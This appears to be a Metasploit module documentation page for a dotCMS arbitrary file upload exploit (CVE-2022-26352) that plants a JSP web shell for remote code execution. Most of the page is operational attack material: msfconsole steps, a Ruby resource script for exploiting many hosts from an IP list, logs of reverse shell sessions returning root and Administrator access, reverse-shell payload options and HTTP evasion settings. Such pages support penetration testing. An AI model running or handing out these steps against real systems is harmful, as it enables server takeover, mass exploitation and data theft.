DotCMS RCE via Arbitrary File Upload. - Metasploit

This page contains detailed information about how to use the exploit/multi/http/dotcms_file_upload_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: DotCMS RCE via Arbitrary File Upload.
Module: exploit/multi/http/dotcms_file_upload_rce
Source code: modules/exploits/multi/http/dotcms_file_upload_rce.rb
Disclosure date: 2022-05-03
Last modification time: 2022-06-01 10:54:02 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-26352

When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.

Module Ranking and Traits

Module Ranking:

• excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

• repeatable-session: The module is expected to get a shell every time it runs.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

Using dotcms_file_upload_rce against a single host

Normally, you can use exploit/multi/http/dotcms_file_upload_rce this way:

msf > use exploit/multi/http/dotcms_file_upload_rce
msf exploit(dotcms_file_upload_rce) > show targets
    ... a list of targets ...
msf exploit(dotcms_file_upload_rce) > set TARGET target-id
msf exploit(dotcms_file_upload_rce) > show options
    ... show and set options ...
msf exploit(dotcms_file_upload_rce) > exploit

Using dotcms_file_upload_rce against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your dotcms_file_upload_rce will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/dotcms_file_upload_rce")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

• RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

msf6 > use exploit/multi/http/dotcms_file_upload_rce
[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227
rhosts => 172.16.199.227
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/dotcms_file_upload_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[+] Deleted ../webapps/ROOT/XZhKXIssjD.jsp
[+] Deleted ../webapps/ROOT/M4NYE9Kb.jsp
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.227:39610) at 2022-05-20 15:01:25 -0400

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu 5.13.0-41-generic #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

msf6 > use dotcms_file_upload_rce
[*] Using exploit/multi/http/dotcms_file_upload_rce
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231
rhosts => 172.16.199.231
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/dotcms_file_upload_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[!] Tried to delete ../webapps/ROOT/AkqMhxCZWr.jsp, unknown result
[!] Tried to delete ../webapps/ROOT/xdPfn9JTdu33X.jsp, unknown result
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.231:50016) at 2022-05-20 12:41:36 -0400


Shell Banner:
Microsoft Windows [Version 10.0.19042.1706]
(c) Microsoft Corporation. All rights reserved.
-----


C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>whoami
whoami
desktop-h1lncdm\administrator

C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>systeminfo
systeminfo

Host Name:                 DESKTOP-H1LNCDM
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042

<output truncated>

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Msfconsole Usage

Here is how the multi/http/dotcms_file_upload_rce exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/dotcms_file_upload_rce

[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/dotcms_file_upload_rce) > show info

       Name: DotCMS RCE via Arbitrary File Upload.
     Module: exploit/multi/http/dotcms_file_upload_rce
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-05-03

Provided by:
  Shubham Shah
  Hussein Daher
  jheysel-r7

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Java Linux
  1   Java Windows

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][.
                                        ..]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metaspl
                                        oit-framework/wiki/Using-Metasploit
  RPORT      8443             yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Base path
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  When files are uploaded into dotCMS via the content API, but before 
  they become content, dotCMS writes the file down in a temp 
  directory. In the case of this vulnerability, dotCMS does not 
  sanitize the filename passed in via the multipart request header and 
  thus does not sanitize the temp file's name. This allows a specially 
  crafted request to POST files to dotCMS via the ContentResource 
  (POST /api/content) that get written outside of the dotCMS temp 
  directory. In the case of this exploit, an attacker can upload a 
  special .jsp file to the webapp/ROOT directory of dotCMS which can 
  allow for remote code execution.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-26352
  https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/

Module Options

This is a complete list of options available in the multi/http/dotcms_file_upload_rce exploit:

msf6 exploit(multi/http/dotcms_file_upload_rce) > show options

Module options (exploit/multi/http/dotcms_file_upload_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][
                                         ...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasp
                                         loit-framework/wiki/Using-Metasploit
   RPORT      8443             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host

Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.

Exploit target:

   Id  Name
   --  ----
   0   Java Linux

Advanced Options

Here is a complete list of advanced options supported by the multi/http/dotcms_file_upload_rce exploit:

msf6 exploit(multi/http/dotcms_file_upload_rce) > show advanced

Module advanced options (exploit/multi/http/dotcms_file_upload_rce):

   Name                    Current Setting         Required  Description
   ----                    ---------------         --------  -----------
   AllowNoCleanup          false                   no        Allow exploitation without the possi
                                                             bility of cleaning up files
   AutoCheck               true                    no        Run check before exploit
   ContextInformationFile                          no        The information file that contains c
                                                             ontext information
   DOMAIN                  WORKSTATION             yes       The domain to use for Windows authen
                                                             tication
   DigestAuthIIS           true                    no        Conform to IIS, should work for most
                                                              servers. Only set to false for non-
                                                             IIS servers
   DisablePayloadHandler   false                   no        Disable the handler code for the sel
                                                             ected payload
   EnableContextEncoding   false                   no        Use transient context when encoding
                                                             payloads
   FileDropperDelay                                no        Delay in seconds before attempting c
                                                             leanup
   FingerprintCheck        true                    no        Conduct a pre-exploit fingerprint ve
                                                             rification
   ForceExploit            false                   no        Override check result
   HttpClientTimeout                               no        HTTP connection and receive timeout
   HttpPassword                                    no        The HTTP password to specify for aut
                                                             hentication
   HttpRawHeaders                                  no        Path to ERB-templatized raw headers
                                                             to append to existing headers
   HttpTrace               false                   no        Show the raw HTTP requests and respo
                                                             nses
   HttpTraceColors         red/blu                 no        HTTP request and response colors for
                                                              HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                   no        Show HTTP headers only in HttpTrace
   HttpUsername                                    no        The HTTP username to specify for aut
                                                             hentication
   SSLServerNameIndicatio                          no        SSL/TLS Server Name Indication (SNI)
   n
   SSLVersion              Auto                    yes       Specify the version of SSL/TLS to be
                                                              used (Auto, TLS and SSL23 are auto-
                                                             negotiate) (Accepted: Auto, TLS, SSL
                                                             23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/5.0 (iPad; CPU  no        The User-Agent header to use for all
                            OS 15_3_1 like Mac OS             requests
                            X) AppleWebKit/605.1.
                           15 (KHTML, like Gecko)
                            Version/15.2 Mobile/1
                           5E148 Safari/604.1
   VERBOSE                 false                   no        Enable detailed status messages
   WORKSPACE                                       no        Specify the workspace for this modul
                                                             e
   WfsDelay                2                       no        Additional delay in seconds to wait
                                                             for a session

Payload advanced options (java/jsp_shell_reverse_tcp):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoRunScript                            no        A script to run automatically on session cr
                                                      eation.
   AutoVerifySession       true             yes       Automatically verify and drop invalid sessi
                                                      ons
   CommandShellCleanupCom                   no        A command to run before the session is clos
   mand                                               ed
   CreateSession           true             no        Create a new session for every successful l
                                                      ogin
   InitialAutoRunScript                     no        An initial script to run on session creatio
                                                      n (before AutoRunScript)
   ReverseAllowProxy       false            yes       Allow reverse tcp even with Proxies specifi
                                                      ed. Connect back will NOT go through proxy
                                                      but directly to LHOST
   ReverseListenerBindAdd                   no        The specific IP address to bind to on the l
   ress                                               ocal system
   ReverseListenerBindPor                   no        The port to bind to on the local system if
   t                                                  different from LPORT
   ReverseListenerComm                      no        The specific communication channel to use f
                                                      or this listener
   ReverseListenerThreade  false            yes       Handle every connection in a new thread (ex
   d                                                  perimental)
   StagerRetryCount        10               no        The number of times the stager should retry
                                                       if the first connect fails
   StagerRetryWait         5                no        Number of seconds to wait for the stager be
                                                      tween reconnect attempts
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/http/dotcms_file_upload_rce module can exploit:

msf6 exploit(multi/http/dotcms_file_upload_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Java Linux
   1   Java Windows

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/dotcms_file_upload_rce exploit:

msf6 exploit(multi/http/dotcms_file_upload_rce) > show payloads

Compatible Payloads
===================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  payload/generic/custom                               normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                       normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                    normal  No     Generic Command Shell, Reverse TCP Inline
   3  payload/generic/ssh/interact                         normal  No     Interact with Established SSH Connection
   4  payload/java/jsp_shell_bind_tcp                      normal  No     Java JSP Command Shell, Bind TCP Inline
   5  payload/java/jsp_shell_reverse_tcp                   normal  No     Java JSP Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the multi/http/dotcms_file_upload_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/dotcms_file_upload_rce) > show evasion

Module evasion options:

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   HTTP::header_folding    false            no        Enable folding of HTTP headers
   HTTP::method_random_ca  false            no        Use random casing for the HTTP method
   se
   HTTP::method_random_in  false            no        Use a random invalid, HTTP method for reque
   valid                                              st
   HTTP::method_random_va  false            no        Use a random, but valid, HTTP method for re
   lid                                                quest
   HTTP::pad_fake_headers  false            no        Insert random, fake headers into the HTTP r
                                                      equest
   HTTP::pad_fake_headers  0                no        How many fake headers to insert into the HT
   _count                                             TP request
   HTTP::pad_get_params    false            no        Insert random, fake query string variables
                                                      into the request
   HTTP::pad_get_params_c  16               no        How many fake query string variables to ins
   ount                                               ert into the request
   HTTP::pad_method_uri_c  1                no        How many whitespace characters to use betwe
   ount                                               en the method and uri
   HTTP::pad_method_uri_t  space            no        What type of whitespace to use between the
   ype                                                method and uri (Accepted: space, tab, apach
                                                      e)
   HTTP::pad_post_params   false            no        Insert random, fake post variables into the
                                                       request
   HTTP::pad_post_params_  16               no        How many fake post variables to insert into
   count                                               the request
   HTTP::pad_uri_version_  1                no        How many whitespace characters to use betwe
   count                                              en the uri and version
   HTTP::pad_uri_version_  space            no        What type of whitespace to use between the
   type                                               uri and version (Accepted: space, tab, apac
                                                      he)
   HTTP::uri_dir_fake_rel  false            no        Insert fake relative directories into the u
   ative                                              ri
   HTTP::uri_dir_self_ref  false            no        Insert self-referential directories into th
   erence                                             e uri
   HTTP::uri_encode_mode   hex-normal       no        Enable URI encoding (Accepted: none, hex-no
                                                      rmal, hex-noslashes, hex-random, hex-all, u
                                                      -normal, u-all, u-random)
   HTTP::uri_fake_end      false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../
                                                      ../)
   HTTP::uri_fake_params_  false            no        Add a fake start of params to the URI (eg:
   start                                              /%3fa=b/../)
   HTTP::uri_full_url      false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslas  false            no        Use back slashes instead of forward slashes
   hes                                                 in the uri
   HTTP::version_random_i  false            no        Use a random invalid, HTTP version for requ
   nvalid                                             est
   HTTP::version_random_v  false            no        Use a random, but valid, HTTP version for r
   alid                                               equest

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to write JSP payload

Here is a relevant code snippet related to the "Failed to write JSP payload" error message:

133:	      'uri' => normalize_uri(target_uri.path, '/api/content/'),
134:	      'vars_form_data' => vars_form_data
135:	    )
136:	
137:	    unless res&.code == 500
138:	      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
139:	    end
140:	
141:	    register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
142:	    print_good('Successfully wrote JSP payload')
143:	  end

Failed to execute JSP payload

Here is a relevant code snippet related to the "Failed to execute JSP payload" error message:

149:	      'method' => 'GET',
150:	      'uri' => jsp_uri
151:	    )
152:	
153:	    unless res&.code == 200
154:	      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
155:	    end
156:	    print_good('Successfully executed JSP payload')
157:	  end
158:	
159:	  def exploit

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Related Pull Requests

• #16650 Merged Pull Request: Add #read_from_file for MSSQL and PostgreSQL, fix the MySQL implementation
• #16602 Merged Pull Request: Fix error when service is already running and update exception documentation in lib/msf/core/post/windows/services.rb
• #16627 Merged Pull Request: Add some error handling to update_payload_cache_size script
• #16679 Merged Pull Request: Fix missing and incomplete specs
• #16654 Merged Pull Request: Add named pipe pivot documentation
• #16571 Merged Pull Request: Vcenter offline mdb extract
• #16667 Merged Pull Request: Weekly dependency updates for Gemfile.lock
• #16666 Merged Pull Request: Correctly format the notes sections
• #16665 Merged Pull Request: Fix random compile c tool
• #16662 Merged Pull Request: Add faraday retry gem dependency

References

• CVE-2022-26352
• https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/

See Also

Check also the following modules related to this module:

• exploit/multi/http/apache_jetspeed_file_upload
• exploit/multi/http/bolt_file_upload
• exploit/multi/http/clipbucket_fileupload_exec
• exploit/multi/http/coldfusion_ckeditor_file_upload
• exploit/multi/http/eventlog_file_upload
• exploit/multi/http/gitlab_file_read_rce
• exploit/multi/http/horde_form_file_upload
• exploit/multi/http/hp_sitescope_uploadfileshandler
• exploit/multi/http/jboss_deploymentfilerepository
• exploit/multi/http/monstra_fileupload_exec
• exploit/multi/http/nibbleblog_file_upload
• exploit/multi/http/opmanager_socialit_file_upload
• exploit/multi/http/oracle_ats_file_upload
• exploit/multi/http/phpfilemanager_rce
• exploit/multi/http/playsms_filename_exec
• exploit/multi/http/rocket_servergraph_file_requestor_rce
• exploit/multi/http/sit_file_upload
• exploit/multi/http/sysaid_auth_file_upload
• exploit/multi/http/sysaid_rdslogs_file_upload
• exploit/multi/http/uptime_file_upload_1
• exploit/multi/http/uptime_file_upload_2
• exploit/multi/http/webnms_file_upload
• exploit/multi/http/wp_dnd_mul_file_rce
• exploit/multi/http/wp_file_manager_rce
• exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
• exploit/multi/http/wp_simple_file_list_rce
• exploit/multi/http/wso2_file_upload_rce

Authors

• Shubham Shah
• Hussein Daher
• jheysel-r7

Version

This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.

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